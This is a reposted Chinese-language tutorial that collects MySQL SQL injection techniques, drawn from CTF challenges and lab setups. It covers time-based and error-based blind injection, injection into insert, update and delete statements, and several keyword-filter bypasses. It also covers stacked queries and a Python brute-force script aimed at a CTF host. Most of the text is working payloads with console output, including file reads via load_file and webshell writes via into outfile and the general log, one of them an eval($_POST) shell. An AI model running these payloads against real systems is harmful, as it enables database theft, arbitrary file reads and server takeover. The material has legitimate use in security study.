SQL注入有趣姿势总结


五种时间盲注姿势

  • sleep()函数
  • benchmark函数
BENCHMARK(count,expr)

benchmark函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟,如下:

可以看到通过重复计算延时了1.90s

  • 笛卡尔积盲注

注入姿势

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; +-----------+ | count(*) | +-----------+ | 113101560 | +-----------+ 1 row in set (2.07 sec) mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); +------+-----+ | user | pwd | +------+-----+ | 1 | 0 | +------+-----+ 1 row in set (2.08 sec) mysql> select * from ctf_test where user='1' and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); Empty set (0.01 sec) 

利用and短路运算规则进行时间盲注。

  • GET_LOCK盲注

get_lock函数官方文档中的介绍

可以看出文档中写的是我们如果已经开了一个session,对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。

此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入

SESSION A

mysql> select get_lock('lihuaiqiu',1); +-------------------------+ | get_lock('lihuaiqiu',1) | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec) 

SESSION B

mysql> select get_lock('lihuaiqiu',5); +-------------------------+ | get_lock('lihuaiqiu',5) | +-------------------------+ | 0 | +-------------------------+ 1 row in set (5.00 sec) mysql> select * from ctf_test where user='0' and 1=1 and get_lock('lihuaiqiu',2); Empty set (2.00 sec) mysql> select * from ctf_test where user='0' and 1=0 and get_lock('lihuaiqiu',2); Empty set (0.00 sec) 

同样的盲注利用手法。

  • 正则DOS RLIKE注入

延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark注入差不多的。

利用手法

mysql> select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1); +------+ | flag | +------+ | 1 | +------+ 1 row in set (0.00 sec) mysql> select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1); Empty set (3.83 sec) 

报错注入

正常的报错注入网上一搜是一大把的,所以下面讲的是几个比较的姿势。

  • mysql列名重复报错

在mysql中,mysql列名重复会导致报错,而我们可以通过name_const制造一个列.

Name_const函数用法

mysql> select name_const(version(),1);
+--------+
| 5.5.47 |
+--------+
|      1 |
+--------+
1 row in set (0.00 sec)

报错用法:

mysql> select name_const(version(),1),name_const(version(),1);; +--------+--------+ | 5.5.47 | 5.5.47 | +--------+--------+ | 1 | 1 | +--------+--------+ 1 row in set (0.00 sec) ERROR: No query specified mysql> select * from (select name_const(version(),1),name_const(version(),1))x; ERROR 1060 (42S21): Duplicate column name '5.5.47' 

不过这个有很大的限制,version()所多应的值必须是常量,而我们所需要的database()user()都是变量,无法通过报错得出,但是我们可以利用这个原理配合join函数得到列名。

用法如下:

mysql> select * from ctf_test a join ctf_test b; +------+--------------+------+--------------+ | user | pwd | user | pwd | +------+--------------+------+--------------+ | 1 | 0 | 1 | 0 | | 2 | flag{OK_t72} | 1 | 0 | | 1 | 0 | 2 | flag{OK_t72} | | 2 | flag{OK_t72} | 2 | flag{OK_t72} | +------+--------------+------+--------------+ 4 rows in set (0.00 sec) mysql> select * from (select * from ctf_test a join ctf_test b )x; ERROR 1060 (42S21): Duplicate column name 'user' mysql> select * from (select * from ctf_test a join ctf_test b using(user))x; ERROR 1060 (42S21): Duplicate column name 'pwd' mysql> select * from (select * from ctf_test a join ctf_test b using(user,pwd))x; +------+--------------+ | user | pwd | +------+--------------+ | 1 | 0 | | 2 | flag{OK_t72} | +------+--------------+ 2 rows in set (0.00 sec) 
  • xpath语法报错与整数溢出报错的区别

xpath报错注入中,我们经常用的语法有updatexmlextractvalue函数,同样是报错注入,那么在使用中有什么区别?

例子:第12届全国大学生信息安全竞赛全宇宙最简单的SQL

如果二者的区别认知不太清楚,很可能导致卡在这个点上

mysql> select * from ctf_test where user='1' and 1=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~test~' mysql> select * from ctf_test where user='1' and 1=0 and updatexml(1,concat(0x7e,(select database()),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~test~' mysql> select * from ctf_test where user='1' and 1=1 and pow(999,999); ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)' mysql> select * from ctf_test where user='1' and 1=0 and pow(999,999); Empty set (0.00 sec) 

从上面的实验中可以得出如果在sql语句中有出现语法错误,则会直接报错,不会被and短路运算所影响,如果是大数溢出报错,则会遵循and短路运算规则。所以可以利用大数溢出这个问题结合前面的1=0的判断条件进行布尔盲注。

  • 整数溢出报错函数

pow(),cot(),exp()

mysql> select * from ctf_test where user='2' and 1=1 and cot(0); ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)' mysql> select * from ctf_test where user='2' and 1=1 and pow(988888,999999); ERROR 1690 (22003): DOUBLE value is out of range in 'pow(988888,999999)' mysql> select * from ctf_test where user='2' and 1=1 and exp(710); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)' 
  • 利用几何函数进行报错注入

几何函数进行报错注入,如polygon(),linestring()函数等,姿势如下:

mysql> select * from ctf_test where user='1' and polygon(user); ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing mysql> select * from ctf_test where user='1' and linestring(user); ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing 
  • 对于insert,delete,update三种操作的注入

对于select类型操作其实是最常见,最容易上手的,但insert,delete,update三种操作的注入也很重要,下面是总结的这三种注入的操作姿势。

报错注入

insert报错注入

insert into ctf_test(`user`,`pwd`) value('1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','2'); 

update报错注入

update ctf_test set user=1 where pwd='2' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ''; 

delete报错注入

mysql> delete from ctf_test where user='1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ''; ERROR 1105 (HY000): XPATH syntax error: '~test~' 

时间盲注

insert类型

mysql> insert into ctf_test(`user`,`pwd`) value('1' and sleep(3) and '','2'); Query OK, 1 row affected (3.00 sec) 

delete和update也都是一样的,就不一 一列举了。

另类注入姿势以及对关键词过滤的绕过

  • order by 盲注

题目例子:ISCC web5

当填入16进制的字符字典序小于flag中对应字母的字典序时,返回的是union插入的字符;当16进制的字符字典序大于flag中的对应字母的字典序时,返回的是flag字段。此种sql注入手法可以在小括号和列名被过滤时使用。

web5对应脚本:

import requests
url='http://39.100.83.188:8054/' headers={"User-Agent":"lihuaiqiu Union.373"} payload="union_373_Tom' union select 1,2,0x{} order by 3,2,'1" flag='' for i in range(20):  for j in range(33,127):  data={"username":payload.format((flag+chr(j)).encode('hex')),"password":'233'}  lihuaiqiu=requests.post(url,headers=headers,data=data)  if "union_373_Tom" in lihuaiqiu.text:  flag+=chr(j-1)  print flag  break 
  • MySQL数据库的Innodb引擎的注入

在对应代码中过滤了information关键字,无法使用information_schema.tables以及information_schema.columns进行查找表和列名。

此时可以通过innodb引擎进行注入,在Mysql 5.6以上的版本中,在系统Mysql库中存在两张与innodb相关的表:innodb_table_statsinnodb_index_stats

所以可以通过查找这两个表取代information的作用

mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_table_stats where database_name=database(); +------+ | flag | +------+ | 1 | | flag | +------+ 2 rows in set, 1 warning (0.00 sec) mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_index_stats where database_name=database(); +----------------+ | flag | +----------------+ | 1 | | flag,flag,flag | +----------------+ 2 rows in set, 1 warning (0.00 sec) 
  • 无列名注入

看一下下面的payload的就会懂的,原理比较简单

  • 异或注入

and,or ,|,&&,||等符号被过滤的情况下,可以采用异或注入达到注入的目的。

mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='s')^1; Empty set (0.00 sec) mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='r')^1; +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | +------+--------------+ 1 row in set (0.00 sec) 
  • 同等功能替换

空格绕过:%0a,/**/.

关键函数过滤:

substr等价于left ,mid,substring

group_concat等价于concat_ws

  • 逗号被过滤

针对逗号被过滤的情况有三种,第一种情况是union select 中的逗号被过滤掉,第二种情况是substr,mid这类截取字符函数中的逗号被过滤掉,第三种是limit 0,1中的逗号被过滤。

union select 逗号被过滤掉

利用join注入,payload如下

mysql> select * from ctf_test where user='2' union select * from (select 1)a join (select 2)b; +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | | 1 | 2 | +------+--------------+ 2 rows in set (0.00 sec) 

功能函数逗号被过滤

利用from...for...进行绕过

mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='r',1,0); +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | +------+--------------+ 1 row in set (0.00 sec) mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='s',1,0); Empty set (0.00 sec) 

limit中逗号被过滤

利用limit..offset进行绕过

limit 9 offset 4表示从第十行开始返回4行,返回的是10,11,12,13

mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0; +------------+ | table_name | +------------+ | admin | +------------+ 1 row in set (0.00 sec) mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 1; +------------+ | table_name | +------------+ | ctf_test | +------------+ 1 row in set (0.00 sec) 
  • 等于号被过滤

可以用like,regexp,between...and..,rlike进行代替,用法如下:

还有另外一种特殊的代替方法,利用locate,position,instr三种函数进行判断

用法如下:

mysql> select * from ctf_test where user='2' and if(locate('ro', substring(user(),1,2))>0,1,0); +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | +------+--------------+ 1 row in set (0.00 sec) mysql> select * from ctf_test where user='2' and if(position('ro' IN substring(user(),1,2))>0,1,0); +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | +------+--------------+ 1 row in set (0.00 sec) mysql> select * from ctf_test where user='2' and if(instr(substring(user(),1,2),'ro')>0,1,0); +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | +------+--------------+ 1 row in set (0.00 sec) 
  • 堆叠注入

例子:强网杯2019随便注

payload如下形式

查询字段

';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE stmt1 FROM @sql;EXECUTE stmt1;

查询内容

;use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;
  • load_file&into outfile

这两个函数在sql注入中是影响比较大的两个函数,如果能成功利用,即可getshell和读取任意文件,但作用很大,同样限制条件也很多。

into outfile

1.首先要知道网站的绝对路径(可从报错或者phpinfo()中获得)

2.拥有file权限

3.secure_file_priv限制。通过SHOW VARIABLES LIKE "secure_file_priv"查看信息

mysqld --secure_file_priv=null(不允许导入导出) mysqld --secure_file_priv=/tmp/(导入导出只允许在/tmp目录下) mysql --secure_file_priv=(任意导入导出) 

into outfile有四种写入文件的方式

通过union注入写入文件

mysql> select * from flag where flag=1 union select '<?php phpinfo();?>' into outfile '/var/lib/mysql-files/2.php'; Query OK, 2 rows affected, 1 warning (0.01 sec) 

通过FIELDS TERMINATED BY写入文件

mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e; Query OK, 1 row affected, 1 warning (0.01 sec) 

FIELDS TERMINATED BY为在输出数据的字段中添加FIELDS TERMINATED BY的内容,如果字段数为1,则无法进行添加,也就是说这个的限制条件是起码要有两个字段的。

可以看到在一个字段的情况下无法添加我们的webshell。

通过LINES TERMINATED BY写入文件

LINES TERMINATED BY为在每个记录后都添加设定添加的内容,不受字段数的限制

mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e; Query OK, 1 row affected, 1 warning (0.00 sec) 

LINES STARTING BY写入shell

用法与LINES TERMINATED BY一样,payload如下

mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/4.php' lines starting by 0x3c3f70687020706870696e666f28293b3f3e; Query OK, 1 row affected, 1 warning (0.01 sec) 

load_file

1.要求拥有file权限

2.知道文件所在绝对路径

3.同样受secure_file_priv限制

union注入进行load_file

效果如下:

mysql> select * from flag where flag=1 union select load_file('/var/lib/mysql-files/4.php'); +----------------------+ | flag | +----------------------+ | 1 | | <?php phpinfo();?>1 | +----------------------+ 2 rows in set, 1 warning (0.01 sec) 

利用报错注入进行load_file

测试:

mysql> select * from flag where flag=1 and updatexml(1,concat(0x7e,(select load_file('/var/lib/mysql-files/4.php')),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~<?php phpinfo();?>1 ~' 

成功得到文件内容

利用时间盲注进行load_file

测试如下:

mysql> select * from flag where flag=1 and if(mid((select load_file('/var/lib/mysql-files/4.php')),1,1)='<',sleep(3),1); Empty set, 1 warning (3.00 sec) 

成功延时3s,可配合脚本得到文件内容。

利用load_file扫描文件是否存在

mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/4.php')),0x7e),0); ERROR 1105 (HY000): XPATH syntax error: '~0~' mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/1.php')),0x7e),0); ERROR 1105 (HY000): XPATH syntax error: '~1~' 

通过is_null函数的返回值来确定,如果是1的话代表文件不存在,如果是0的话文件存在。此方法可配合burp进行敏感文件的FUZZ。

另类写读文件

dumpfile 官方文档如下:

危险变量导致getshell

在我们可连接上被攻击数据库时,我们可以通过select..into outfile..进行写shell,但如果secure_file_priv为NULL且不可更改时,我们就无法通过这种形式去getshell。除了这种写shell的方式还有一种通过日志去写shell的方式,操作如下:

show variables like '%general%'; 查看配置信息 set global general_log=on 开启general log模式 set global general_log_file='F:\\phpstudy\\www\\shell.php'; select '<?php eval($_POST['pwd']);?>'; 

最终shell.php为我们的webshell

组合拳思考

我们在常规的注入中,流程应该就是查找数据库,查找表,查找字段,爆字段。

其实利用上面的方法,我们可以做操作来绕过条件过滤。

Sqli-lab less-1为例

首先通过polygon函数进行报错

接着通过列重复来报错

通过以上步骤可爆出id,username,password三个字段,最终爆出字段内容。

同理,order by盲注也比较有用,在列名以及小括号被过滤的情况下就比较适合。

参考资料

https://xz.aliyun.com/t/2460

http://www.zhutougg.com/2017/04/25/mysqlshu-ju-ku-de-innodbyin-qing-de-zhu-ru/

https://xz.aliyun.com/t/253


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM